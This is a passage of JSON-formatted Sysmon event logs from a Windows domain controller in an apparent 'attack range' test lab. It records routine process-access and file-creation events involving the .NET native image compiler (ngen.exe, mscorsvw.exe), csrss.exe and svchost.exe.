\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7333,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:01.666\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-001065640C00}\r\nTargetProcessId: 4656\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:01.666","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-001065640C00}","TargetProcessId":"4656","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7334,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:01.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B9-5F2D-0000-0010B60A0D00}\r\nTargetProcessId: 4656\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:01.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B9-5F2D-0000-0010B60A0D00}","TargetProcessId":"4656","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7335,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:01.744\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B9-5F2D-0000-0010760E0D00}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:01.744","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B9-5F2D-0000-0010760E0D00}","TargetProcessId":"3168","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7336,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:01.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B9-5F2D-0000-0010760E0D00}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:01.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B9-5F2D-0000-0010760E0D00}","TargetProcessId":"3168","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7337,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:01.760\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B9-5F2D-0000-0010760E0D00}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:01.760","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B9-5F2D-0000-0010760E0D00}","TargetProcessId":"3168","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7338,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:01.807\r\nProcessGuid: {90617006-42B9-5F2D-0000-0010760E0D00}\r\nProcessId: 3168\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\c60-0\\PresentationFramework-SystemCore.dll\r\nCreationUtcTime: 2020-08-07 12:02:01.807","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:01.807","ProcessGuid":"{90617006-42B9-5F2D-0000-0010760E0D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\c60-0\\PresentationFramework-SystemCore.dll","CreationUtcTime":"2020-08-07 12:02:01.807","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7339,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:01.854\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B9-5F2D-0000-0010E3120D00}\r\nTargetProcessId: 4696\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:01.854","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B9-5F2D-0000-0010E3120D00}","TargetProcessId":"4696","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7340,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:01.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B9-5F2D-0000-0010E3120D00}\r\nTargetProcessId: 4696\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:01.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B9-5F2D-0000-0010E3120D00}","TargetProcessId":"4696","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7341,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:01.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B9-5F2D-0000-0010E3120D00}\r\nTargetProcessId: 4696\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:01.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B9-5F2D-0000-0010E3120D00}","TargetProcessId":"4696","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7342,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 